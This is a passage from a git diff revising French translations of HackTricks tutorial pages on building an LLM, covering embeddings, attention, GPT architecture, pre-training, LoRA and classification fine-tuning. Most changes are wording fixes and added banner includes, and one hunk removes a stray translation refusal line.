séparant l'ensemble de données en phrases d'une longueur spécifique et en générant également la réponse attendue.** -### **Pourquoi l'Échantillonnage des Données est Important** +### **Pourquoi l'Échantillonnage de Données est Important** Les LLMs tels que GPT sont entraînés à générer ou prédire du texte en comprenant le contexte fourni par les mots précédents. Pour y parvenir, les données d'entraînement doivent être structurées de manière à ce que le modèle puisse apprendre la relation entre les séquences de mots et leurs mots suivants. Cette approche structurée permet au modèle de généraliser et de générer un texte cohérent et contextuellement pertinent. -### **Concepts Clés dans l'Échantillonnage des Données** +### **Concepts Clés dans l'Échantillonnage de Données** 1. **Tokenisation :** Décomposer le texte en unités plus petites appelées jetons (par exemple, mots, sous-mots ou caractères). 2. **Longueur de Séquence (max_length) :** Le nombre de jetons dans chaque séquence d'entrée. @@ -20,7 +22,7 @@ Les LLMs tels que GPT sont entraînés à générer ou prédire du texte en comp ### **Exemple Étape par Étape** -Passons en revue un exemple pour illustrer l'échantillonnage des données. +Passons en revue un exemple pour illustrer l'échantillonnage de données. **Texte d'Exemple** ```arduino @@ -231,3 +233,6 @@ tensor([[ 367, 2885, 1464, 1807], ## Références - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/3.-token-embeddings.md b/src/AI/AI-llm-architecture/3.-token-embeddings.md index 0181adfbd..1a1895474 100644 --- a/src/AI/AI-llm-architecture/3.-token-embeddings.md +++ b/src/AI/AI-llm-architecture/3.-token-embeddings.md @@ -1,5 +1,7 @@ # 3. Token Embeddings +{{#include /banners/hacktricks-training.md}} + ## Token Embeddings Après avoir tokenisé les données textuelles, l'étape suivante cruciale dans la préparation des données pour l'entraînement de modèles de langage de grande taille (LLMs) comme GPT est la création de **token embeddings**. Les token embeddings transforment des tokens discrets (comme des mots ou des sous-mots) en vecteurs numériques continus que le modèle peut traiter et apprendre. Cette explication décompose les token embeddings, leur initialisation, leur utilisation et le rôle des embeddings positionnels dans l'amélioration de la compréhension des séquences de tokens par le modèle. @@ -8,7 +10,7 @@ Après avoir tokenisé les données textuelles, l'étape suivante cruciale dans > L'objectif de cette troisième phase est très simple : **Attribuer à chacun des tokens précédents dans le vocabulaire un vecteur des dimensions souhaitées pour entraîner le modèle.** Chaque mot dans le vocabulaire sera un point dans un espace de X dimensions.\ > Notez qu'initialement, la position de chaque mot dans l'espace est simplement initialisée "au hasard" et ces positions sont des paramètres entraînables (seront améliorés pendant l'entraînement). > -> De plus, pendant l'**embedding de token**, **une autre couche d'embeddings est créée** qui représente (dans ce cas) la **position absolue du mot dans la phrase d'entraînement**. De cette manière, un mot à différentes positions dans la phrase aura une représentation (signification) différente. +> De plus, pendant l'embedding de token, **une autre couche d'embeddings est créée** qui représente (dans ce cas) la **position absolue du mot dans la phrase d'entraînement**. De cette manière, un mot à différentes positions dans la phrase aura une représentation (signification) différente. ### **What Are Token Embeddings?** @@ -39,7 +41,7 @@ embedding_layer = torch.nn.Embedding(6, 3) # Display the initial weights (embeddings) print(embedding_layer.weight) ``` -I'm sorry, but I cannot provide the content you requested. +**Sortie :** ```lua luaCopy codeParameter containing: tensor([[ 0.3374, -0.1778, -0.1690], @@ -127,7 +129,7 @@ Alors que les embeddings de tokens capturent le sens des tokens individuels, ils ### **Pourquoi les Embeddings Positionnels Sont Nécessaires :** -- **L'Ordre des Tokens Est Important :** Dans les phrases, le sens dépend souvent de l'ordre des mots. Par exemple, "Le chat est assis sur le tapis" contre "Le tapis est assis sur le chat." +- **L'Ordre des Tokens Compte :** Dans les phrases, le sens dépend souvent de l'ordre des mots. Par exemple, "Le chat est assis sur le tapis" contre "Le tapis est assis sur le chat." - **Limitation des Embeddings :** Sans information positionnelle, le modèle traite les tokens comme un "sac de mots", ignorant leur séquence. ### **Types d'Embeddings Positionnels :** @@ -161,7 +163,7 @@ Combined Embedding = Token Embedding + Positional Embedding ## Exemple de code -Suivant l'exemple de code de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) : +Suivant avec l'exemple de code de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) : ```python # Use previous code... @@ -201,3 +203,6 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256]) ## Références - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md index 52b0874d4..454607fd7 100644 --- a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md +++ b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md @@ -1,5 +1,7 @@ # 4. Mécanismes d'Attention +{{#include /banners/hacktricks-training.md}} + ## Mécanismes d'Attention et Auto-Attention dans les Réseaux de Neurones Les mécanismes d'attention permettent aux réseaux de neurones de **se concentrer sur des parties spécifiques de l'entrée lors de la génération de chaque partie de la sortie**. Ils attribuent des poids différents à différentes entrées, aidant le modèle à décider quelles entrées sont les plus pertinentes pour la tâche à accomplir. Cela est crucial dans des tâches comme la traduction automatique, où comprendre le contexte de l'ensemble de la phrase est nécessaire pour une traduction précise. @@ -10,7 +12,7 @@ Les mécanismes d'attention permettent aux réseaux de neurones de **se concentr ### Comprendre les Mécanismes d'Attention -Dans les modèles traditionnels de séquence à séquence utilisés pour la traduction de langues, le modèle encode une séquence d'entrée en un vecteur de contexte de taille fixe. Cependant, cette approche a des difficultés avec les longues phrases car le vecteur de contexte de taille fixe peut ne pas capturer toutes les informations nécessaires. Les mécanismes d'attention abordent cette limitation en permettant au modèle de considérer tous les tokens d'entrée lors de la génération de chaque token de sortie. +Dans les modèles traditionnels de séquence à séquence utilisés pour la traduction linguistique, le modèle encode une séquence d'entrée en un vecteur de contexte de taille fixe. Cependant, cette approche a des difficultés avec les longues phrases car le vecteur de contexte de taille fixe peut ne pas capturer toutes les informations nécessaires. Les mécanismes d'attention répondent à cette limitation en permettant au modèle de considérer tous les tokens d'entrée lors de la génération de chaque token de sortie. #### Exemple : Traduction Automatique @@ -39,7 +41,7 @@ Notre objectif est de calculer le **vecteur de contexte** pour le mot **"shiny"* #### Étape 1 : Calculer les Scores d'Attention > [!TIP] -> Il suffit de multiplier chaque valeur de dimension de la requête par la valeur correspondante de chaque token et d'ajouter les résultats. Vous obtenez 1 valeur par paire de tokens. +> Il suffit de multiplier chaque valeur de dimension de la requête par celle de chaque token et d'ajouter les résultats. Vous obtenez 1 valeur par paire de tokens. Pour chaque mot de la phrase, calculez le **score d'attention** par rapport à "shiny" en calculant le produit scalaire de leurs embeddings. @@ -226,7 +228,7 @@ print(sa_v2(inputs)) ## Attention Causale : Masquer les Mots Futurs -Pour les LLMs, nous voulons que le modèle ne considère que les tokens qui apparaissent avant la position actuelle afin de **prédire le prochain token**. **L'attention causale**, également connue sous le nom de **masquage d'attention**, y parvient en modifiant le mécanisme d'attention pour empêcher l'accès aux tokens futurs. +Pour les LLM, nous voulons que le modèle ne considère que les tokens qui apparaissent avant la position actuelle afin de **prédire le prochain token**. **L'attention causale**, également connue sous le nom de **masquage d'attention**, y parvient en modifiant le mécanisme d'attention pour empêcher l'accès aux tokens futurs. ### Application d'un Masque d'Attention Causale @@ -248,7 +250,7 @@ masked_scores = attention_scores + mask attention_weights = torch.softmax(masked_scores, dim=-1) ``` -### Masquage de Poids d'Attention Supplémentaires avec Dropout +### Masquage des Poids d'Attention Supplémentaires avec Dropout Pour **prévenir le surapprentissage**, nous pouvons appliquer **dropout** aux poids d'attention après l'opération softmax. Le dropout **met aléatoirement à zéro certains des poids d'attention** pendant l'entraînement. ```python @@ -257,9 +259,9 @@ attention_weights = dropout(attention_weights) ``` Un abandon régulier est d'environ 10-20%. -### Code Example +### Exemple de code -Code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb): +Exemple de code de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb): ```python import torch import torch.nn as nn @@ -323,7 +325,7 @@ print("context_vecs.shape:", context_vecs.shape) ``` ## Étendre l'attention à tête unique à l'attention à plusieurs têtes -**L'attention à plusieurs têtes** consiste en termes pratiques à exécuter **plusieurs instances** de la fonction d'auto-attention, chacune avec **ses propres poids**, de sorte que différents vecteurs finaux soient calculés. +**L'attention à plusieurs têtes** consiste en termes pratiques à exécuter **plusieurs instances** de la fonction d'attention personnelle, chacune avec **ses propres poids**, de sorte que différents vecteurs finaux soient calculés. ### Exemple de code @@ -414,3 +416,6 @@ Pour une autre implémentation compacte et efficace, vous pourriez utiliser la c ## Références - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/5.-llm-architecture.md b/src/AI/AI-llm-architecture/5.-llm-architecture.md index 87488fc66..b1e22000a 100644 --- a/src/AI/AI-llm-architecture/5.-llm-architecture.md +++ b/src/AI/AI-llm-architecture/5.-llm-architecture.md @@ -1,5 +1,7 @@ # 5. Architecture LLM +{{#include /banners/hacktricks-training.md}} + ## Architecture LLM > [!TIP] @@ -434,21 +436,21 @@ return logits # Output shape: (batch_size, seq_len, vocab_size) #### **Objectif et Fonctionnalité** - **Couches d'Embedding :** -- **Token Embeddings (`tok_emb`):** Convertit les indices de tokens en embeddings. En rappel, ce sont les poids attribués à chaque dimension de chaque token dans le vocabulaire. -- **Positional Embeddings (`pos_emb`):** Ajoute des informations positionnelles aux embeddings pour capturer l'ordre des tokens. En rappel, ce sont les poids attribués aux tokens selon leur position dans le texte. -- **Dropout (`drop_emb`):** Appliqué aux embeddings pour la régularisation. -- **Blocs Transformer (`trf_blocks`):** Empilement de `n_layers` blocs transformer pour traiter les embeddings. -- **Normalisation Finale (`final_norm`):** Normalisation de couche avant la couche de sortie. -- **Couche de Sortie (`out_head`):** Projette les états cachés finaux à la taille du vocabulaire pour produire des logits pour la prédiction. +- **Embeddings de Token (`tok_emb`) :** Convertit les indices de token en embeddings. En rappel, ce sont les poids attribués à chaque dimension de chaque token dans le vocabulaire. +- **Embeddings Positionnels (`pos_emb`) :** Ajoute des informations positionnelles aux embeddings pour capturer l'ordre des tokens. En rappel, ce sont les poids attribués aux tokens selon leur position dans le texte. +- **Dropout (`drop_emb`) :** Appliqué aux embeddings pour la régularisation. +- **Blocs Transformer (`trf_blocks`) :** Empilement de `n_layers` blocs transformer pour traiter les embeddings. +- **Normalisation Finale (`final_norm`) :** Normalisation de couche avant la couche de sortie. +- **Couche de Sortie (`out_head`) :** Projette les états cachés finaux à la taille du vocabulaire pour produire des logits pour la prédiction. > [!TIP] > L'objectif de cette classe est d'utiliser tous les autres réseaux mentionnés pour **prédire le prochain token dans une séquence**, ce qui est fondamental pour des tâches comme la génération de texte. > -> Notez comment elle **utilisera autant de blocs transformer que indiqué** et que chaque bloc transformer utilise un réseau d'attention multi-têtes, un réseau feed forward et plusieurs normalisations. Donc, si 12 blocs transformer sont utilisés, multipliez cela par 12. +> Notez comment elle **utilisera autant de blocs transformer que indiqué** et que chaque bloc transformer utilise un réseau d'attention multi-têtes, un réseau de propagation avant et plusieurs normalisations. Donc, si 12 blocs transformer sont utilisés, multipliez cela par 12. > > De plus, une couche de **normalisation** est ajoutée **avant** la **sortie** et une couche linéaire finale est appliquée à la fin pour obtenir les résultats avec les dimensions appropriées. Notez comment chaque vecteur final a la taille du vocabulaire utilisé. Cela est dû au fait qu'il essaie d'obtenir une probabilité par token possible dans le vocabulaire. -## Nombre de Paramètres à entraîner +## Nombre de Paramètres à Entraîner Ayant la structure GPT définie, il est possible de déterminer le nombre de paramètres à entraîner : ```python @@ -495,10 +497,10 @@ Il y a 12 blocs transformer, donc nous allons calculer les paramètres pour un b **a. Attention Multi-Tête** - **Composants :** -- **Couche Linéaire de Requête (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **Couche Linéaire de Clé (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **Couche Linéaire de Valeur (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **Projection de Sortie (`out_proj`):** `nn.Linear(emb_dim, emb_dim)` +- **Couche Linéaire de Requête (`W_query`) :** `nn.Linear(emb_dim, emb_dim, bias=False)` +- **Couche Linéaire de Clé (`W_key`) :** `nn.Linear(emb_dim, emb_dim, bias=False)` +- **Couche Linéaire de Valeur (`W_value`) :** `nn.Linear(emb_dim, emb_dim, bias=False)` +- **Projection de Sortie (`out_proj`) :** `nn.Linear(emb_dim, emb_dim)` - **Calculs :** - **Chacune de `W_query`, `W_key`, `W_value` :** @@ -513,7 +515,7 @@ Puisqu'il y a trois de ces couches : total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472 ``` -- **Projection de Sortie (`out_proj`):** +- **Projection de Sortie (`out_proj`) :** ```python out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592 @@ -570,7 +572,7 @@ layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072 pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568 ``` -**Paramètres totaux pour tous les blocs de transformateur** +**Total des paramètres pour tous les blocs de transformateur** ```python pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816 @@ -583,7 +585,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816 ```python pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536 ``` -**b. Couche de projection de sortie (`out_head`)** +**b. Couche de Projection de Sortie (`out_head`)** - **Couche :** `nn.Linear(emb_dim, vocab_size, bias=False)` - **Paramètres :** `emb_dim * vocab_size` @@ -664,3 +666,6 @@ print("Output length:", len(out[0])) ## Références - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md index f76e853d6..11f9bd180 100644 --- a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md +++ b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md @@ -1,5 +1,7 @@ # 6. Pré-entraînement et chargement des modèles +{{#include /banners/hacktricks-training.md}} + ## Génération de texte Pour entraîner un modèle, nous aurons besoin que ce modèle soit capable de générer de nouveaux tokens. Ensuite, nous comparerons les tokens générés avec ceux attendus afin d'entraîner le modèle à **apprendre les tokens qu'il doit générer**. @@ -18,7 +20,7 @@ Pour maximiser la probabilité du token correct, les poids du modèle doivent ê Cependant, au lieu de travailler avec les prédictions brutes, il travaillera avec un logarithme de base n. Ainsi, si la prédiction actuelle du token attendu était 7.4541e-05, le logarithme naturel (base *e*) de **7.4541e-05** est d'environ **-9.5042**.\ Ensuite, pour chaque entrée avec une longueur de contexte de 5 tokens par exemple, le modèle devra prédire 5 tokens, les 4 premiers tokens étant les derniers de l'entrée et le cinquième étant celui prédit. Par conséquent, pour chaque entrée, nous aurons 5 prédictions dans ce cas (même si les 4 premiers étaient dans l'entrée, le modèle ne le sait pas) avec 5 tokens attendus et donc 5 probabilités à maximiser. -Par conséquent, après avoir effectué le logarithme naturel sur chaque prédiction, la **moyenne** est calculée, le **symbole moins retiré** (ceci est appelé _cross entropy loss_) et c'est le **nombre à réduire aussi près de 0 que possible** car le logarithme naturel de 1 est 0 : +Par conséquent, après avoir effectué le logarithme naturel pour chaque prédiction, la **moyenne** est calculée, le **symbole moins retiré** (c'est ce qu'on appelle _cross entropy loss_) et c'est le **nombre à réduire aussi près de 0 que possible** car le logarithme naturel de 1 est 0 :

https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233

@@ -27,7 +29,7 @@ Par exemple, une valeur de perplexité de 48725 signifie que lorsqu'il doit pré ## Exemple de pré-entraînement -Voici le code initial proposé dans [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) parfois légèrement modifié +Ceci est le code initial proposé dans [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) parfois légèrement modifié
@@ -590,7 +592,7 @@ idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1) return idx ``` > [!TIP] -> Il existe une alternative courante à `top-k` appelée [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), également connue sous le nom d'échantillonnage par noyau, qui au lieu de prendre k échantillons avec la plus grande probabilité, **organise** tout le **vocabulaire** résultant par probabilités et **somme** celles-ci de la plus haute probabilité à la plus basse jusqu'à ce qu'un **seuil soit atteint**. +> Il existe une alternative courante à `top-k` appelée [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), également connue sous le nom de sampling par noyau, qui au lieu d'obtenir k échantillons avec la plus grande probabilité, **organise** tout le **vocabulaire** résultant par probabilités et **somme** celles-ci de la plus haute probabilité à la plus basse jusqu'à ce qu'un **seuil soit atteint**. > > Ensuite, **seules ces mots** du vocabulaire seront considérés en fonction de leurs probabilités relatives. > @@ -604,7 +606,7 @@ return idx > > _Notez que cette amélioration n'est pas incluse dans le code précédent._ -### Fonctions de perte +### Loss functions La fonction **`calc_loss_batch`** calcule l'entropie croisée d'une prédiction d'un seul lot.\ La **`calc_loss_loader`** obtient l'entropie croisée de tous les lots et calcule l'**entropie croisée moyenne**. @@ -635,7 +637,7 @@ break return total_loss / num_batches ``` > [!TIP] -> **Le clipping de gradient** est une technique utilisée pour améliorer **la stabilité de l'entraînement** dans de grands réseaux de neurones en fixant un **seuil maximum** pour les magnitudes des gradients. Lorsque les gradients dépassent ce `max_norm` prédéfini, ils sont réduits proportionnellement pour garantir que les mises à jour des paramètres du modèle restent dans une plage gérable, évitant des problèmes comme les gradients explosifs et assurant un entraînement plus contrôlé et stable. +> **Le clipping de gradient** est une technique utilisée pour améliorer **la stabilité de l'entraînement** dans les grands réseaux de neurones en définissant un **seuil maximum** pour les magnitudes des gradients. Lorsque les gradients dépassent ce `max_norm` prédéfini, ils sont réduits proportionnellement pour garantir que les mises à jour des paramètres du modèle restent dans une plage gérable, évitant des problèmes comme les gradients explosifs et assurant un entraînement plus contrôlé et stable. > > _Notez que cette amélioration n'est pas incluse dans le code précédent._ > @@ -651,7 +653,7 @@ Les fonctions `create_dataloader_v1` et `create_dataloader_v1` ont déjà été Notez que parfois, une partie de l'ensemble de données est également laissée pour un ensemble de test afin d'évaluer mieux la performance du modèle. Les deux chargeurs de données utilisent la même taille de lot, longueur maximale, stride et nombre de travailleurs (0 dans ce cas).\ -Les principales différences résident dans les données utilisées par chacun, et le validateur ne supprime pas le dernier ni ne mélange les données car cela n'est pas nécessaire à des fins de validation. +Les principales différences résident dans les données utilisées par chacun, et le validateur ne supprime pas le dernier ni ne mélange les données car ce n'est pas nécessaire à des fins de validation. De plus, le fait que **le stride soit aussi grand que la longueur du contexte** signifie qu'il n'y aura pas de chevauchement entre les contextes utilisés pour entraîner les données (réduit le surapprentissage mais aussi l'ensemble de données d'entraînement). @@ -759,7 +761,7 @@ Ensuite, la grande fonction `train_model_simple` est celle qui entraîne réelle - L'**optimiseur** à utiliser pendant l'entraînement : C'est la fonction qui utilisera les gradients et mettra à jour les paramètres pour réduire la perte. Dans ce cas, comme vous le verrez, `AdamW` est utilisé, mais il en existe beaucoup d'autres. - `optimizer.zero_grad()` est appelé pour réinitialiser les gradients à chaque tour afin de ne pas les accumuler. - Le paramètre **`lr`** est le **taux d'apprentissage** qui détermine la **taille des étapes** prises pendant le processus d'optimisation lors de la mise à jour des paramètres du modèle. Un **taux d'apprentissage** **plus petit** signifie que l'optimiseur **effectue des mises à jour plus petites** des poids, ce qui peut conduire à une convergence plus **précise** mais peut **ralentir** l'entraînement. Un **taux d'apprentissage** **plus grand** peut accélérer l'entraînement mais **risque de dépasser** le minimum de la fonction de perte (**sauter par-dessus** le point où la fonction de perte est minimisée). -- La **décroissance de poids** modifie l'étape de **calcul de la perte** en ajoutant un terme supplémentaire qui pénalise les poids importants. Cela encourage l'optimiseur à trouver des solutions avec des poids plus petits, équilibrant entre un bon ajustement des données et le maintien d'un modèle simple, prévenant le surapprentissage dans les modèles d'apprentissage automatique en décourageant le modèle d'accorder trop d'importance à une seule caractéristique. +- La **décroissance de poids** modifie l'étape de **calcul de la perte** en ajoutant un terme supplémentaire qui pénalise les poids importants. Cela encourage l'optimiseur à trouver des solutions avec des poids plus petits, équilibrant entre un bon ajustement des données et le maintien d'un modèle simple, prévenant le surajustement dans les modèles d'apprentissage automatique en décourageant le modèle d'attribuer trop d'importance à une seule caractéristique. - Les optimisateurs traditionnels comme SGD avec régularisation L2 couplent la décroissance de poids avec le gradient de la fonction de perte. Cependant, **AdamW** (une variante de l'optimiseur Adam) découple la décroissance de poids de la mise à jour du gradient, conduisant à une régularisation plus efficace. - Le dispositif à utiliser pour l'entraînement - Le nombre d'époques : Nombre de fois à passer sur les données d'entraînement @@ -830,7 +832,7 @@ model.train() # Back to training model applying all the configurations > [!TIP] > Pour améliorer le taux d'apprentissage, il existe quelques techniques pertinentes appelées **linear warmup** et **cosine decay.** > -> **Linear warmup** consiste à définir un taux d'apprentissage initial et un maximum, puis à le mettre à jour de manière cohérente après chaque époque. Cela est dû au fait que commencer l'entraînement avec des mises à jour de poids plus petites diminue le risque que le modèle rencontre de grandes mises à jour déstabilisantes pendant sa phase d'entraînement.\ +> **Linear warmup** consiste à définir un taux d'apprentissage initial et un maximum, puis à le mettre à jour de manière cohérente après chaque époque. Cela est dû au fait que commencer l'entraînement avec des mises à jour de poids plus petites diminue le risque que le modèle rencontre des mises à jour importantes et déstabilisantes pendant sa phase d'entraînement.\ > **Cosine decay** est une technique qui **réduit progressivement le taux d'apprentissage** suivant une courbe demi-cosinus **après la phase de warmup**, ralentissant les mises à jour de poids pour **minimiser le risque de dépasser** les minima de perte et garantir la stabilité de l'entraînement dans les phases ultérieures. > > _Notez que ces améliorations ne sont pas incluses dans le code précédent._ @@ -895,9 +897,9 @@ plt.show() epochs_tensor = torch.linspace(0, num_epochs, len(train_losses)) plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses) ``` -### Sauvegarder le modèle +### Enregistrer le modèle -Il est possible de sauvegarder le modèle + l'optimiseur si vous souhaitez continuer l'entraînement plus tard : +Il est possible d'enregistrer le modèle + l'optimiseur si vous souhaitez continuer l'entraînement plus tard : ```python # Save the model and the optimizer for later training torch.save({ @@ -939,3 +941,6 @@ Il y a 2 scripts rapides pour charger les poids GPT2 localement. Pour les deux, ## Références - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md index 3bcf3505f..567db426a 100644 --- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md @@ -1,19 +1,21 @@ # 7.0. Améliorations de LoRA dans le fine-tuning +{{#include /banners/hacktricks-training.md}} + ## Améliorations de LoRA > [!TIP] > L'utilisation de **LoRA réduit beaucoup le calcul** nécessaire pour **affiner** des modèles déjà entraînés. -LoRA permet d'affiner **de grands modèles** de manière efficace en ne changeant qu'une **petite partie** du modèle. Cela réduit le nombre de paramètres que vous devez entraîner, économisant ainsi de la **mémoire** et des **ressources informatiques**. Cela est dû à : +LoRA permet d'affiner **des modèles larges** de manière efficace en ne changeant qu'une **petite partie** du modèle. Cela réduit le nombre de paramètres que vous devez entraîner, économisant **mémoire** et **ressources computationnelles**. Cela est dû au fait que : -1. **Réduction du Nombre de Paramètres Entraînables** : Au lieu de mettre à jour l'ensemble de la matrice de poids dans le modèle, LoRA **divise** la matrice de poids en deux matrices plus petites (appelées **A** et **B**). Cela rend l'entraînement **plus rapide** et nécessite **moins de mémoire** car moins de paramètres doivent être mis à jour. +1. **Réduit le Nombre de Paramètres Entraînables** : Au lieu de mettre à jour l'ensemble de la matrice de poids dans le modèle, LoRA **divise** la matrice de poids en deux matrices plus petites (appelées **A** et **B**). Cela rend l'entraînement **plus rapide** et nécessite **moins de mémoire** car moins de paramètres doivent être mis à jour. -1. Cela est dû au fait qu'au lieu de calculer la mise à jour complète des poids d'une couche (matrice), il l'approxime à un produit de 2 matrices plus petites, réduisant la mise à jour à calculer :\ +1. Cela est dû au fait qu'au lieu de calculer la mise à jour complète des poids d'une couche (matrice), il l'approxime à un produit de 2 matrices plus petites réduisant la mise à jour à calculer :\
-2. **Conserve les Poids du Modèle Original Inchangés** : LoRA vous permet de garder les poids du modèle original identiques et ne met à jour que les **nouvelles petites matrices** (A et B). Cela est utile car cela signifie que les connaissances originales du modèle sont préservées, et vous ne modifiez que ce qui est nécessaire. +2. **Garde les Poids du Modèle Original Inchangés** : LoRA vous permet de garder les poids du modèle original identiques, et ne met à jour que les **nouvelles petites matrices** (A et B). Cela est utile car cela signifie que les connaissances originales du modèle sont préservées, et vous ne modifiez que ce qui est nécessaire. 3. **Affinage Efficace Spécifique à la Tâche** : Lorsque vous souhaitez adapter le modèle à une **nouvelle tâche**, vous pouvez simplement entraîner les **petites matrices LoRA** (A et B) tout en laissant le reste du modèle tel quel. Cela est **beaucoup plus efficace** que de réentraîner l'ensemble du modèle. 4. **Efficacité de Stockage** : Après le fine-tuning, au lieu de sauvegarder un **nouveau modèle entier** pour chaque tâche, vous n'avez besoin de stocker que les **matrices LoRA**, qui sont très petites par rapport à l'ensemble du modèle. Cela facilite l'adaptation du modèle à de nombreuses tâches sans utiliser trop de stockage. @@ -59,3 +61,5 @@ replace_linear_with_lora(module, rank, alpha) ## Références - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md index 45e25f967..f5c183913 100644 --- a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md +++ b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md @@ -1,5 +1,7 @@ # 7.1. Ajustement fin pour la classification +{{#include /banners/hacktricks-training.md}} + ## Qu'est-ce que c'est L'ajustement fin est le processus qui consiste à prendre un **modèle pré-entraîné** ayant appris des **schémas linguistiques généraux** à partir de vastes quantités de données et à **l'adapter** pour effectuer une **tâche spécifique** ou comprendre un langage spécifique à un domaine. Cela se fait en poursuivant l'entraînement du modèle sur un ensemble de données plus petit et spécifique à la tâche, lui permettant d'ajuster ses paramètres pour mieux s'adapter aux nuances des nouvelles données tout en tirant parti des vastes connaissances qu'il a déjà acquises. L'ajustement fin permet au modèle de fournir des résultats plus précis et pertinents dans des applications spécialisées sans avoir besoin d'entraîner un nouveau modèle depuis le début. @@ -20,7 +22,7 @@ Cet ensemble de données contient beaucoup plus d'exemples de "non spam" que de Ensuite, **70%** de l'ensemble de données est utilisé pour **l'entraînement**, **10%** pour **la validation** et **20%** pour **les tests**. -- L'**ensemble de validation** est utilisé pendant la phase d'entraînement pour ajuster les **hyperparamètres** du modèle et prendre des décisions concernant l'architecture du modèle, aidant ainsi à prévenir le surajustement en fournissant des retours sur la performance du modèle sur des données non vues. Il permet des améliorations itératives sans biaiser l'évaluation finale. +- L'**ensemble de validation** est utilisé pendant la phase d'entraînement pour ajuster les **hyperparamètres** du modèle et prendre des décisions concernant l'architecture du modèle, aidant ainsi à prévenir le surajustement en fournissant des retours sur la performance du modèle sur des données non vues. Cela permet des améliorations itératives sans biaiser l'évaluation finale. - Cela signifie que bien que les données incluses dans cet ensemble de données ne soient pas utilisées directement pour l'entraînement, elles sont utilisées pour ajuster les meilleurs **hyperparamètres**, donc cet ensemble ne peut pas être utilisé pour évaluer la performance du modèle comme le fait l'ensemble de test. - En revanche, l'**ensemble de test** est utilisé **uniquement après** que le modèle a été entièrement entraîné et que tous les ajustements sont terminés ; il fournit une évaluation impartiale de la capacité du modèle à généraliser sur de nouvelles données non vues. Cette évaluation finale sur l'ensemble de test donne une indication réaliste de la façon dont le modèle est censé performer dans des applications réelles. @@ -101,10 +103,12 @@ return loss ``` Notez que pour chaque lot, nous ne sommes intéressés que par les **logits du dernier token prédit**. -## Code complet de classification fine-tune GPT2 +## Code complet de classification fine-tuné pour GPT2 Vous pouvez trouver tout le code pour 